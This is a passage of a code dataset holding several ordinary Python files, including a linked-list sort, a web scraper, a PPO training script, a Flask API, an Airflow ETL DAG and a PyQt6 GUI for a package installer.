lObjects):\n iCurrent = utils.assign_next_token_required('(', token.open_parenthesis, iCurrent, lObjects)\n\n iCurrent = actual_parameter_part.classify(iCurrent, lObjects)\n\n iCurrent = utils.assign_next_token_required(')', token.close_parenthesis, iCurrent, lObjects)\n\n return iCurrent\n","repo_name":"jeremiah-c-leary/vhdl-style-guide","sub_path":"vsg/vhdlFile/classify/procedure_call.py","file_name":"procedure_call.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"61"} +{"seq_id":"27145951048","text":"# T(n)=O(n) S(n)=O(1)\r\nclass LinkedList(object):\r\n def __init__(self):\r\n self.head = None\r\n\r\n class Node(object):\r\n def __init__(self, d):\r\n self.data = d\r\n self.next = None\r\n\r\n def sortList(self):\r\n count = [0, 0, 0]\r\n ptr = self.head\r\n while ptr != None:\r\n count[ptr.data]+=1\r\n ptr = ptr.next\r\n i = 0\r\n ptr = self.head\r\n\r\n while ptr != None:\r\n if count[i] == 0:\r\n i+=1\r\n else:\r\n ptr.data = i\r\n count[i]-=1\r\n ptr = ptr.next\r\n\r\n def push(self, new_data):\r\n new_node = self.Node(new_data)\r\n new_node.next = self.head\r\n self.head = new_node\r\n\r\n def printList(self):\r\n temp = self.head\r\n while temp != None:\r\n print (str(temp.data),end=\" \")\r\n temp = temp.next\r\n print()\r\n\r\n# Driver program to test above functions\r\nllist = LinkedList()\r\nllist.push(0)\r\nllist.push(1)\r\nllist.push(0)\r\nllist.push(2)\r\nllist.push(1)\r\nllist.push(1)\r\nllist.push(2)\r\nllist.push(1)\r\nllist.push(2)\r\n\r\nprint (\"Linked List before sorting\")\r\nllist.printList()\r\n\r\nllist.sortList()\r\n\r\nprint (\"Linked List after sorting\")\r\nllist.printList()\r\n","repo_name":"shrutii2/Linked-List-in-Python","sub_path":"Givenalinkedlistof0s,1sand2s,sortit.py","file_name":"Givenalinkedlistof0s,1sand2s,sortit.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19124596941","text":"from app import db, ELLTable\nimport requests\n\nfrom bs4 import BeautifulSoup \n \n# set up your scraping below\nr = requests.get(\"https://nces.ed.gov/programs/digest/d19/tables/dt19_204.20.asp\")\nsoup = BeautifulSoup(r.text,features=\"html.parser\")\nelltable = soup.find(\"div-class\"== \"nces\")\n#print(elltable)\ntoremove=elltable.findAll('sup')\nfor x in toremove:\n x.extract()\nelldata = elltable.findAll(\"tr\")\n#print(elldata)\n\ncompleteelldata=[]\nfor i in elldata[7:-7]:\n cleanelldata=list(i.stripped_strings)\n completeelldata.append(cleanelldata)\ncompleteelldata\n\n# this `main` function should run your scraping when \n# this script is ran.\ndef main():\n db.drop_all()\n db.create_all()\n for row in completeelldata:\n if len(row)==0:\n continue\n newrow=ELLTable(location=row[0],number_2000=row[1],number_2005=row[2],number_2010=row[3],number_2014=row[4],number_2015=row[5],number_2016=row[6],number_2017=row[7],percent_2000=row[8],percent_2005=row[9],percent_2010=row[10],percent_2014=row[11],percent_2015=row[12],percent_2016=row[13],percent_2017=row[14])\n db.session.add(newrow)\n db.session.commit()\n # for key,val in rows.items():\n # new_row = DBTable(column_1=key, column_2=val)\n # print(new_row)\n # db.session.add(new_row)\n # db.session.commit()\n \n \n\nif __name__ == '__main__':\n main()","repo_name":"amy496/ProjectP1","sub_path":"import_script.py","file_name":"import_script.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73491245313","text":"#!/usr/bin/env python3\nimport sys\nsys.path.append(\"..\")\n\nimport os\nimport argparse\nimport functools\nimport time\n\nimport gym\nimport gym.spaces\nfrom gym import wrappers\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.signal import savgol_filter\n\nfrom ruamel.yaml import YAML\n\nimport torch\nfrom torch import nn\n\nimport rslgym.algorithm.modules as rslgym_module\nfrom rslgym.algorithm.agents.ppo import PPO\nfrom rslgym.algorithm.utils import ConfigurationSaver\n\nfrom multithread_vector_env import MultiprocessVectorEnv\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--cfg_name', type=str, default='/cfg.yaml', help='configuration file')\n parser.add_argument('--gpu', type=int, default=0, help='gpu id (-1 for cpu)')\n args = parser.parse_args()\n cfg_name = args.cfg_name\n\n device = args.gpu if args.gpu > 0 else 'cpu'\n\n task_path = os.path.dirname(os.path.realpath(__file__))\n cfg_abs_path = task_path + \"/../\" + cfg_name\n log_dir = os.path.join(task_path, 'runs/rsl_ppo')\n\n save_items = [cfg_abs_path]\n cfg_saver = ConfigurationSaver(log_dir, save_items, args)\n\n # config\n cfg = YAML().load(open(cfg_abs_path, 'r'))\n\n num_envs = cfg['environment']['num_envs']\n process_seeds = np.arange(num_envs) + cfg['environment']['seed'] * num_envs\n assert process_seeds.max() < 2 ** 32\n\n def make_env(process_idx, test):\n env = gym.make(cfg['environment']['env_name'])\n process_seed = int(process_seeds[process_idx])\n env.seed(process_seed)\n return env\n\n def make_batch_env(test, n_envs):\n return MultiprocessVectorEnv(\n [\n functools.partial(make_env, idx, test)\n for idx, env in enumerate(range(n_envs))\n ]\n )\n\n # batch env for training\n env = make_batch_env(False, num_envs)\n\n # single env for testing\n test_env = gym.make(cfg['environment']['env_name'])\n test_env.seed(cfg['environment']['seed'])\n\n if cfg['environment']['record_video']:\n test_env = wrappers.Monitor(test_env, cfg_saver.data_dir, force=True, video_callable=lambda episode: True)\n\n max_episode_steps = test_env.spec.max_episode_steps\n obs_space = test_env.observation_space\n action_space = test_env.action_space\n total_steps = max_episode_steps * num_envs\n\n actor_architecture = [64, 64]\n value_net_architecture = [64, 64]\n\n torch.manual_seed(cfg['environment']['seed'])\n\n actor_net = nn.Sequential(\n rslgym_module.EmpiricalNormalization([obs_space.low.size]),\n rslgym_module.MLP(actor_architecture,\n nn.LeakyReLU,\n obs_space.low.size,\n action_space.low.size)\n )\n critic_net = nn.Sequential(\n rslgym_module.EmpiricalNormalization([obs_space.low.size]),\n rslgym_module.MLP(value_net_architecture,\n nn.LeakyReLU,\n obs_space.low.size,\n 1)\n )\n\n actor = rslgym_module.Actor(actor_net,\n rslgym_module.MultivariateGaussianDiagonalCovariance(action_space.low.size, 1.0),\n obs_space.low.size,\n action_space.low.size,\n device)\n\n critic = rslgym_module.Critic(critic_net, obs_space.low.size, device)\n\n agent = PPO(actor=actor,\n critic=critic,\n num_envs=num_envs,\n num_transitions_per_env=max_episode_steps,\n num_learning_epochs=cfg['algorithm']['num_epochs'],\n learning_rate=cfg['algorithm']['learning_rate'],\n gamma=cfg['algorithm']['discount_factor'],\n lam=cfg['algorithm']['gae_lam'],\n entropy_coef=cfg['algorithm']['ent_coef'],\n num_mini_batches=cfg['algorithm']['num_mini_batches'],\n device=device,\n log_dir=cfg_saver.data_dir,\n mini_batch_sampling='in_order',\n )\n\n def obs_to_numpy(obs):\n o = np.array(obs).reshape(len(obs), -1).astype(np.float32)\n return o\n\n avg_rewards = []\n fig, ax = plt.subplots()\n env.reset()\n obs = env.get_observation()\n obs = obs_to_numpy(obs)\n episode_len = np.zeros(num_envs, dtype=\"i\")\n\n for update in range(cfg['algorithm']['total_algo_updates']):\n ax.set(xlabel='iteration', ylabel='avg performance', title='average performance')\n ax.grid()\n reward_ll_sum = 0\n done_sum = 0\n\n # evaluate\n if update % 50 == 0:\n obs_sample = test_env.reset()\n obs_sample = np.array(obs_sample).reshape(1, -1).astype(np.float32)\n for step in range(max_episode_steps):\n action = agent.observe(obs_sample)\n obs_sample, r, dones, _ = test_env.step(action[0])\n obs_sample = np.array(obs_sample).reshape(1, -1).astype(np.float32)\n # reset\n if cfg['environment']['render']:\n test_env.render()\n if dones:\n obs_sample = test_env.reset()\n obs_sample = np.array(obs_sample).reshape(1, -1).astype(np.float32)\n break\n\n agent.save_training(cfg_saver.data_dir, update)\n\n for step in range(cfg['environment']['steps_per_env_and_episode']):\n episode_len += 1\n actor_obs = obs\n critic_obs = obs\n action = agent.observe(actor_obs)\n reward, dones, infos = env.step(action)\n obs = env.get_observation()\n obs = obs_to_numpy(obs)\n reward = np.array(reward)\n dones = np.array(dones)\n resets = episode_len == max_episode_steps\n end = np.logical_or(resets, dones)\n not_end = np.logical_not(end)\n episode_len[end] = 0\n\n agent.step(value_obs=critic_obs, rews=reward, dones=dones, infos=[])\n done_sum = done_sum + sum(dones)\n reward_ll_sum = reward_ll_sum + sum(reward)\n env.reset(not_end)\n obs = env.get_observation()\n obs = obs_to_numpy(obs)\n agent.update(actor_obs=obs,\n value_obs=obs,\n log_this_iteration=update % 1 == 0,\n update=update)\n\n average_ll_performance = reward_ll_sum / total_steps\n avg_rewards.append(average_ll_performance)\n\n actor.distribution.enforce_minimum_std((torch.ones(action_space.low.size)*0.2).to(device))\n\n if update > 100 and len(avg_rewards) > 100:\n ax.plot(range(len(avg_rewards)), savgol_filter(avg_rewards, 51, 3))\n else:\n ax.plot(range(len(avg_rewards)), avg_rewards)\n fig.savefig(cfg_saver.data_dir + '/demo.png', bbox_inches='tight')\n\n ax.clear()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"leggedrobotics/RSLGym","sub_path":"examples/envs/openAI/scripts/train_rsl_ppo.py","file_name":"train_rsl_ppo.py","file_ext":"py","file_size_in_byte":6962,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"61"} +{"seq_id":"34679782934","text":"import math\r\nimport copy\r\nimport operator\r\n\r\n\r\n# 执行用时 :100 ms, 在所有 python 提交中击败了96.19% 的用户\r\n# 内存消耗 :21 MB, 在所有 python 提交中击败了6.03%的用户\r\n\r\n\r\nclass Solution(object):\r\n def productExceptSelf(self, nums):\r\n \"\"\"\r\n :type nums: List[int]\r\n :rtype: List[int]\r\n \"\"\"\r\n l = []\r\n r = [0]*len(nums)\r\n s = []\r\n sum = 1\r\n for i in range(len(nums)):\r\n sum *= nums[i]\r\n l.append(sum)\r\n sum = 1\r\n for i in range(len(nums)-1,-1,-1):\r\n sum *= nums[i]\r\n r[i] = sum\r\n s.append(r[1])\r\n for i in range(1,len(nums)-1):\r\n s.append(l[i-1]*r[i+1])\r\n s.append(l[len(nums)-2])\r\n return s\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n\r\n\r\n\r\n\r\n n = [[3,0,8,4],[2,4,5,7],[9,2,6,3],[0,3,1,0]]\r\n b = [1,2,3,4]\r\n\r\n\r\n #print(len(n))\r\n\r\n s = \"anagram\"\r\n t = \"nagaram\"\r\n #print(max(n[0:2]))\r\n p = Solution()\r\n\r\n # for i in range(1000000):\r\n # j.append(p.monotoneIncreasingDigits(i))\r\n # print(i)\r\n a = p.productExceptSelf(b)\r\n\r\n\r\n\r\n\r\n #a = p.charge(28)\r\n print(a)\r\n\r\n\r\n\r\n\r\n\r\n\r\n #p.compare(A,B)\r\n\r\n # [73, 74, 75, 71, 69, 72, 76, 73]\r\n\r\n #print(s)\r\n #print(test.lastSubstring(\"abab\"))\r\n","repo_name":"zc1001/leetcode","sub_path":"Number theory/238/238.py","file_name":"238.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"22689939021","text":"from flask import Blueprint, jsonify, abort, request\nfrom ..models import Equipment, db\n\nbp = Blueprint('equipments', __name__, url_prefix='/equipments')\n\n@bp.route('', methods=['GET']) # decorator takes path and list of HTTP verbs\ndef index():\n teams = Equipment.query.all() # ORM performs SELECT query\n result = []\n for t in teams:\n result.append(t.serialize()) # build list of Tweets as dictionaries\n return jsonify(result) # return JSON response\n\n@bp.route('/<int:id>', methods=['GET'])\ndef show(id: int):\n t = Equipment.query.get_or_404(id)\n return jsonify(t.serialize())\n\n@bp.route('', methods=['POST'])\ndef create():\n # req body must contain user_id and content\n if 'helmet_size' not in request.json or 'shoulder_size' not in request.json:\n return abort(400)\n \n u = Equipment(\n helmet_size=request.json['helmet_size'],\n body_size=request.json['body_size'],\n shoulder_size=request.json['shoulder_size'],\n leg_size=request.json['leg_size'],\n player_id=request.json['player_id']\n )\n\n db.session.add(u) # prepare CREATE statement\n db.session.commit() # execute CREATE statement\n\n return jsonify(u.serialize())\n\n@bp.route('/<int:id>/players_equipment', methods=['GET'])\ndef players_equipment(id: int):\n equipments = Equipment.query.get_or_404(id) # ORM performs SELECT query\n\n result = []\n result.append(equipments.player.serialize())\n result.append(equipments.serialize())\n \n return jsonify(result) # return JSON response\n\n","repo_name":"jj252/sql_project","sub_path":"franchise/src/api/equipments.py","file_name":"equipments.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23859021218","text":"h, w = list(map(int, input().split()))\ncount = 0\narr = []\nfor _ in range(w):\n arr.append([])\n#print(arr)\nfor _ in range(h):\n s = input()\n #count += s.count('..')\n arr2 = list(s)\n #print(arr2)\n for k in range(w - 1):\n #print(arr2[k], arr2[k+1])\n if arr2[k] == '.' and arr2[k+1] == '.':\n count += 1\n z = 0\n for kk in range(w):\n arr[kk].append(arr2[kk])\n#print(arr)\nfor kkk in arr:\n for k in range(h - 1):\n if kkk[k] == '.' and kkk[k+1] == '.':\n count += 1\n\nprint(count)","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/AtCoder/Futon.py","file_name":"Futon.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30081765931","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 12 21:04:30 2020\r\n\r\n@author: MrMaak\r\n\"\"\"\r\n#12321 to check for palindrome to number\r\n#best way is to convert it to string and then check it by #reversing.\r\ndef palin(num):\r\n snum=str(num)\r\n rnum=snum[::-1]\r\n return rnum==snum\r\n\r\n# if conversion to string is not allowed then:\r\n# using while loop [O[n]]\r\ndef palindrome(num):\r\n n=num\r\n rev=0\r\n while num>0:\r\n d = num % 10\r\n rev = rev * 10 + d\r\n num = num // 10\r\n return rev==n\r\n\r\n# using Recursion\r\ndef recursion(num, rev=0):\r\n if num==0:\r\n return rev\r\n return recursion(num//10, rev*10+num%10 )\r\nn=121\r\nprint(\"True\" if recursion(n)==n else \"False\") \r\n ","repo_name":"zvut/CODING-PRACTICE","sub_path":"PALINDROMENUMBER.py","file_name":"PALINDROMENUMBER.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34813144939","text":"\"\"\"\nDAG to update current data for U.S. States and territories\n\"\"\"\nfrom os import getenv\nfrom requests import get\nfrom datetime import datetime\nfrom airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nimport pandas as pd \n\n\ndefault_args = {\n \"owner\": \"airflow\",\n \"start_date\": datetime(2020, 10, 1),\n \"retries\": 1,\n}\n\ndag = DAG('update_states', default_args=default_args, schedule_interval=\"@daily\")\n\n\ndef extract(**context):\n\n data = get(\"https://api.covidtracking.com/v1/states/current.json\").json()\n\n # Create an XCOM for this task to be used in load()\n context['ti'].xcom_push(key=\"data\", value=data)\n\n\ndef transform(**context):\n\n # Fetch the JSON data from the above XCOM\n data = context[\"ti\"].xcom_pull(key=\"data\")\n\n df = pd.DataFrame(data, index=None).drop([\n 'deathConfirmed',\n 'deathProbable',\n 'totalTestEncountersViral',\n 'totalTestsPeopleViral',\n 'totalTestsAntibody',\n 'positiveTestsAntibody',\n 'negativeTestsAntibody',\n 'totalTestsPeopleAntibody',\n 'positiveTestsPeopleAntibody',\n 'negativeTestsPeopleAntibody',\n 'totalTestsPeopleAntigen',\n 'positiveTestsPeopleAntigen',\t\n 'totalTestsAntigen',\t\n 'positiveTestsAntigen',\n 'pending',\n 'totalTestResults',\n 'dateModified',\n 'commercialScore',\t\n 'negativeRegularScore',\n 'negativeScore',\t\n 'positiveScore',\t\n 'score',\t\n 'grade',\n 'dataQualityGrade',\n 'negative',\n 'fips',\n 'totalTestResultsSource',\n 'onVentilatorCumulative',\n 'positiveTestsViral',\n 'negativeTestsViral',\n 'positiveCasesViral',\n 'total',\n 'date',\n 'hash'\n ], axis=1)\n\n # Drop duplicate dates\n df.drop_duplicates(subset=['dateChecked'])\n\n # Create an XCOM for this task to be used in load()\n context['ti'].xcom_push(key=\"df\", value=df)\n\n\ndef load(**context):\n\n # Fetch the cleaned DataFrame from the above XCOM\n df = context[\"ti\"].xcom_pull(key=\"df\")\n\n # Fetch SQL Alchemy connection string from .env file\n db_conn = getenv(\"SQL_ALCHEMY_CONN\")\n # Dump df to csv, and then load into db\n df.to_sql(\n 'states_current', \n db_conn, \n index=False, \n schema='usa', \n method='multi', \n if_exists='replace'\n )\n\n\nwith dag:\n\n t1 = PythonOperator(task_id='extract', python_callable=extract, provide_context=True)\n t2 = PythonOperator(task_id='transform', python_callable=transform, provide_context=True)\n t3 = PythonOperator(task_id='load', python_callable=load, provide_context=True)\n\n t1 >> t2 >> t3\n","repo_name":"D-Bits/COVID-Data-Engineering","sub_path":"dags/update_states.py","file_name":"update_states.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"4698554713","text":"#!/usr/bin/env python3\n\"\"\"Minimal GUI for the Modi Package installer\nOnly wraps `install` and `install local`\n\"\"\"\n\nimport modi\nimport sys\nfrom html.parser import HTMLParser\n\nmodi_inst = modi.Modi()\n\ntry:\n from PyQt6.QtWidgets import *\n from PyQt6.QtNetwork import *\n from PyQt6.QtCore import *\n from PyQt6.QtGui import *\nexcept ImportError:\n res = modi_inst.try_import('PyQt6')\n try:\n from PyQt6.QtWidgets import *\n from PyQt6.QtNetwork import *\n from PyQt6.QtCore import *\n from PyQt6.QtGui import *\n except ImportError:\n modi_inst.console.log(\"Could not install PyQt6. Exiting now...\", mtype=\"error\")\n sys.exit(1)\nmodi_inst.try_import(\"numpy\")\nimport numpy\n\ndef fuzzy_search(s, t, ratio_calc=True):\n \"\"\" levenshtein_ratio_and_distance:\n Calculates levenshtein distance between two strings.\n If ratio_calc = True, the function computes the\n levenshtein distance ratio of similarity between two strings\n For all i and j, distance[i,j] will contain the Levenshtein\n distance between the first i characters of s and the\n first j characters of t\n \"\"\"\n rows = len(s)+1\n cols = len(t)+1\n distance = numpy.zeros((rows,cols),dtype = int)\n\n for i in range(1, rows):\n for k in range(1,cols):\n distance[i][0] = i\n distance[0][k] = k\n\n for col in range(1, cols):\n for row in range(1, rows):\n if s[row-1] == t[col-1]:\n cost = 0 \n else:\n if ratio_calc == True:\n cost = 2\n else:\n cost = 1\n distance[row][col] = min(distance[row-1][col] + 1, # Cost of deletions\n distance[row][col-1] + 1, # Cost of insertions\n distance[row-1][col-1] + cost) # Cost of substitutions\n if ratio_calc == True:\n Ratio = ((len(s)+len(t)) - distance[row][col]) / (len(s)+len(t))\n return Ratio\n else:\n return \"The strings are {} edits away\".format(distance[row][col])\n\nclass Package(QWidget):\n def __init__(self, package_name, package_ver, active=False):\n super().__init__()\n self.main_layout = QHBoxLayout()\n self.pkg_name = QLabel(f\"<h1>{package_name}</h1>\")\n self.pkg_ver = QLabel(f\"<i>{package_ver}</i>\")\n self.add = QPushButton(\"Add\")\n self.spacer = QWidget()\n self.setSizePolicy(QSizePolicy.Policy.Preferred, QSizePolicy.Policy.Fixed)\n self.pkg_name.setWordWrap(True)\n self.setMinimumHeight(60)\n self.spacer.setSizePolicy(QSizePolicy.Policy.MinimumExpanding, QSizePolicy.Policy.Preferred)\n self.main_layout.addWidget(self.pkg_name)\n self.main_layout.addWidget(self.pkg_ver)\n self.main_layout.addWidget(self.spacer)\n self.main_layout.addWidget(self.add)\n self.setLayout(self.main_layout)\n\n def queue(self):\n self.pkg_name.setStyleSheet(\"font-weight: bold; color: #ffafaf;\")\n self.add.hide()\n\nclass MLStripper(HTMLParser):\n def __init__(self):\n super().__init__()\n self.reset()\n self.fed = []\n def handle_data(self, d):\n self.fed.append(d)\n def get_data(self):\n return ''.join(self.fed)\n\nclass MLWorker(QObject):\n\n finished = pyqtSignal(list)\n\n def __init__(self, bytes_str):\n self.bytes_str = bytes_str\n super().__init__()\n def run(self): \n pkg_html = str(self.bytes_str, 'utf-8')\n stripper = MLStripper()\n stripper.feed(pkg_html)\n data = stripper.get_data()\n data_list = data.split(\"\\n\")\n for line in data_list:\n line = line.strip()\n self.finished.emit(data_list)\n\nclass ModiInstallWorker(QObject):\n finished = pyqtSignal(int)\n progress = pyqtSignal(int)\n\n def __init__(self, pkgs):\n self.packages = pkgs\n super().__init__()\n\n def run(self):\n import os\n import subprocess\n modi_inst = modi.Modi()\n self.progress.emit(0)\n i = 1\n print(\"installing packages\")\n for pkg in self.packages:\n print(pkg)\n print(\"Installing package \" + pkg)\n pkg_arr = []\n pkg_arr.append(pkg)\n modi_inst.install_local(pkg_arr, no_projects=False, add_reqs=False)\n self.progress.emit(i)\n i += 1\n self.finished.emit(0)\n\nclass ModiMinimalWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"Modi GUI - Python Package Installer\")\n self.modi = modi.Modi()\n self.main_widget = QWidget()\n self.main_layout = QVBoxLayout()\n self.input = QLineEdit()\n self.input.setPlaceholderText(\"Search for packages...\")\n #self.packages = QScrollArea()\n self.package_widget = QWidget()\n self.package_layout = QVBoxLayout()\n self.package_scroll = QScrollArea()\n self.package_frame = QFrame()\n self.queue_widget = QWidget()\n self.queue_layout = QVBoxLayout()\n self.queue_scroll = QScrollArea()\n self.queue_frame = QFrame()\n self.sep = QFrame()\n self.sep.setFrameShape(QFrame.Shape.HLine)\n self.sep.setFrameShadow(QFrame.Shadow.Sunken)\n self.download_bar = QProgressBar()\n self.download_info = QLabel(\"<i>Downloading package list from PyPi</i>\")\n self.install_button = QPushButton(\"Install\")\n self.install_button.setEnabled(False)\n\n self.add_pkg_shortcut = QShortcut(QKeySequence(\"Return\"), self)\n self.add_pkg_shortcut.setAutoRepeat(False)\n self.add_pkg_shortcut.activated.connect(self.try_add_callback)\n\n self.install_queue_shortcut = QShortcut(QKeySequence(\"Ctrl+Return\"), self)\n self.install_queue_shortcut.setAutoRepeat(False)\n self.install_queue_shortcut.activated.connect(self.install_button.click)\n\n self.pkg_placeholder = QLabel(\"<i>Search results will appear here</i>\")\n self.search_placeholder = QLabel(\"<i>Add some packages by searching!</i>\")\n\n self.install_button.clicked.connect(self.install)\n \n self.main_widget.setLayout(self.main_layout)\n self.download_info.setAlignment(Qt.AlignmentFlag.AlignTop)\n self.pkg_placeholder.setAlignment(Qt.AlignmentFlag.AlignCenter)\n self.search_placeholder.setAlignment(Qt.AlignmentFlag.AlignCenter)\n self.package_layout.setAlignment(Qt.AlignmentFlag.AlignTop)\n self.queue_layout.setAlignment(Qt.AlignmentFlag.AlignTop)\n self.package_widget.setLayout(self.package_layout)\n self.queue_widget.setLayout(self.queue_layout)\n #self.packages.setWidget(self.package_widget)\n\n self.package_scroll.setWidgetResizable(True)\n self.queue_scroll.setWidgetResizable(True)\n\n self.package_scroll.setWidget(self.package_widget)\n self.queue_scroll.setWidget(self.queue_widget)\n\n self.package_scroll.hide()\n self.package_scroll.setFixedHeight(256)\n self.queue_scroll.hide()\n self.queue_scroll.setFixedHeight(256)\n\n self.pkg_placeholder.setFixedHeight(256)\n self.search_placeholder.setFixedHeight(256)\n\n self.main_layout.addWidget(self.input)\n self.main_layout.addWidget(self.download_bar)\n self.main_layout.addWidget(self.download_info)\n self.main_layout.addWidget(self.package_scroll)\n self.main_layout.addWidget(self.pkg_placeholder)\n self.main_layout.addWidget(self.sep)\n self.main_layout.addWidget(self.queue_scroll)\n self.main_layout.addWidget(self.search_placeholder)\n self.main_layout.addWidget(self.install_button)\n\n self.setCentralWidget(self.main_widget)\n \n self.setFixedSize(645, 630)\n\n self.to_install = []\n self.pkgs = []\n self.searched_pkgs = []\n self.timers = []\n\n self.download_pypi_index()\n\n def install(self):\n self.input.hide()\n #self.package_widget.hide()\n self.pkg_placeholder.hide()\n self.download_info.setText(\"<b>Installing packages...</b>\")\n self.download_info.show()\n self.download_bar.setRange(0, len(self.to_install))\n self.download_bar.show()\n\n self.worker_2 = ModiInstallWorker(self.to_install)\n self.thread_2 = QThread()\n self.worker_2.moveToThread(self.thread_2)\n \n self.thread_2.started.connect(self.worker_2.run)\n self.worker_2.finished.connect(self.install_callback)\n self.worker_2.progress.connect(self.update_progress_callback)\n self.worker_2.finished.connect(self.worker_2.deleteLater)\n self.thread_2.finished.connect(self.thread_2.deleteLater)\n\n self.thread_2.start()\n\n def install_callback(self, status):\n if(status == 1):\n self.download_info.setText(\"<i>Package download failed</i>\")\n self.download_info.show()\n else:\n self.download_info.hide()\n self.download_bar.hide()\n self.input.show()\n self.sep.show()\n for i in reversed(range(self.queue_layout.count())): \n self.queue_layout.itemAt(i).widget().setParent(None) \n self.queue_scroll.hide()\n self.search_placeholder.show()\n self.pkg_placeholder.show()\n self.install_button.setEnabled(False)\n\n\n def update_progress_callback(self, prog):\n try:\n pkg_name = self.queue_layout.itemAt(prog).widget().pkg_name.text()\n except:\n return\n self.download_info.setText(f\"<b>Downloading package {pkg_name}</b>\")\n\n if(prog == 0):\n self.download_bar.setRange(0, 0)\n else:\n self.download_bar.setRange(0, len(self.to_install) - 1)\n self.download_bar.setValue(prog)\n self.queue_layout.itemAt(prog - 1).widget().pkg_name.setStyleSheet(\"color: #5fd7af;\")\n\n\n def download_pypi_index(self):\n url = \"https://pypi.org/simple/\"\n req = QNetworkRequest(QUrl(url))\n\n self.net_man = QNetworkAccessManager()\n self.net_man.finished.connect(self.download_finished)\n \n res = self.net_man.get(req)\n res.downloadProgress.connect(self.download_progress)\n\n def download_progress(self, current, maxi):\n self.download_bar.setRange(0, maxi * 2)\n self.download_bar.setValue(current)\n \n def download_finished(self, res):\n error = res.error()\n self.download_bar.setRange(0, 100)\n self.download_bar.setValue(50)\n self.download_info.setText(\"<i>Formatting package list...</i>\")\n if error == QNetworkReply.NetworkError.NoError:\n bytes_str = res.readAll()\n self.thread = QThread()\n self.ml_worker = MLWorker(bytes_str)\n self.ml_worker.moveToThread(self.thread)\n self.thread.started.connect(self.ml_worker.run)\n self.ml_worker.finished.connect(self.update_pkg_callback)\n self.ml_worker.finished.connect(self.ml_worker.deleteLater)\n self.thread.finished.connect(self.thread.deleteLater)\n self.thread.start()\n else:\n self.main_layout.addWidget(QLabel(f\"Error: {res.errorString()}\"))\n \n def update_pkg_callback(self, pkgs):\n self.pkgs = pkgs\n self.download_bar.hide()\n self.download_info.hide()\n for i in range(len(self.pkgs) - 1):\n self.pkgs[i] = self.pkgs[i].strip()\n self.download_bar.setValue(100)\n self.input.textChanged.connect(self.search_pkgs)\n if(self.input.text() != \"\"):\n self.search_pkgs()\n\n def search_pkgs(self):\n self.searched_pkgs = []\n search = self.input.text()\n for timer in self.timers:\n timer.stop()\n timer.deleteLater()\n if(search == \"\"):\n self.pkg_placeholder.show()\n self.package_scroll.hide()\n return\n if(len(search) >= 4):\n for pkg in self.pkgs:\n if(search in pkg):\n self.searched_pkgs.append(pkg)\n else:\n for pkg in self.pkgs:\n if(search == pkg):\n self.searched_pkgs.append(pkg)\n\n if(len(search) >= 4 and len(self.searched_pkgs) <= 300):\n self.searched_pkgs.sort(key=lambda query, s=search: fuzzy_search(query, s))\n self.searched_pkgs.reverse()\n else:\n self.searched_pkgs.reverse()\n self.searched_pkgs.sort(key=lambda query, s=search: int(query == s))\n self.searched_pkgs.reverse()\n for i in reversed(range(self.package_layout.count())): \n self.package_layout.itemAt(i).widget().setParent(None) \n\n self.queue_wds = {}\n list_list = []\n if(len(self.searched_pkgs) > 50):\n for i in range(len(self.searched_pkgs) % 50):\n if(i != len(self.searched_pkgs)):\n list_list.append(self.searched_pkgs[(i * 50):((i + 1) * 50) - 1])\n else:\n list_list.append(self.searched_pkgs[i * 50:])\n self.timers = []\n for i in range(len(list_list)):\n self.timers.append(QTimer())\n self.timers[i].setSingleShot(True)\n self.timers[i].timeout.connect(lambda a=list_list[i]: self.add_pkg_widgets(a))\n self.timers[i].start(400 * i)\n else: \n self.timers = []\n self.add_pkg_widgets(self.searched_pkgs)\n\n \n def add_pkg_widgets(self, arr):\n for pkg in arr:\n self.queue_wds[pkg] = Package(pkg, \"v0.1\")\n if(pkg == self.input.text()):\n self.queue_wds[pkg].pkg_name.setStyleSheet(\"color: #afd7ff;\")\n self.queue_wds[pkg].add.clicked.connect(lambda nul, pkg=pkg: self.add_pkg(pkg))\n self.package_layout.addWidget(self.queue_wds[pkg])\n if(len(self.queue_wds) != 0):\n self.pkg_placeholder.hide()\n self.package_scroll.show()\n if(len(self.queue_wds) == 0):\n self.package_scroll.hide()\n self.pkg_placeholder.show()\n\n\n\n def try_add_callback(self):\n search = self.input.text()\n if(search in self.queue_wds.keys()):\n self.add_pkg(search)\n else:\n return\n\n def add_pkg(self, pkg):\n for i in reversed(range(self.package_layout.count())): \n self.package_layout.itemAt(i).widget().setParent(None) \n self.queue_wds[pkg].setParent(None)\n self.queue_wds[pkg].queue()\n self.queue_layout.addWidget(self.queue_wds[pkg])\n self.input.setText(\"\")\n self.to_install.append(pkg)\n print(self.package_scroll.size())\n print(self.queue_scroll.size())\n if(len(self.queue_wds) > 0):\n self.search_placeholder.hide()\n self.queue_scroll.show()\n self.install_button.setEnabled(True)\n if(len(self.queue_wds) == 0):\n 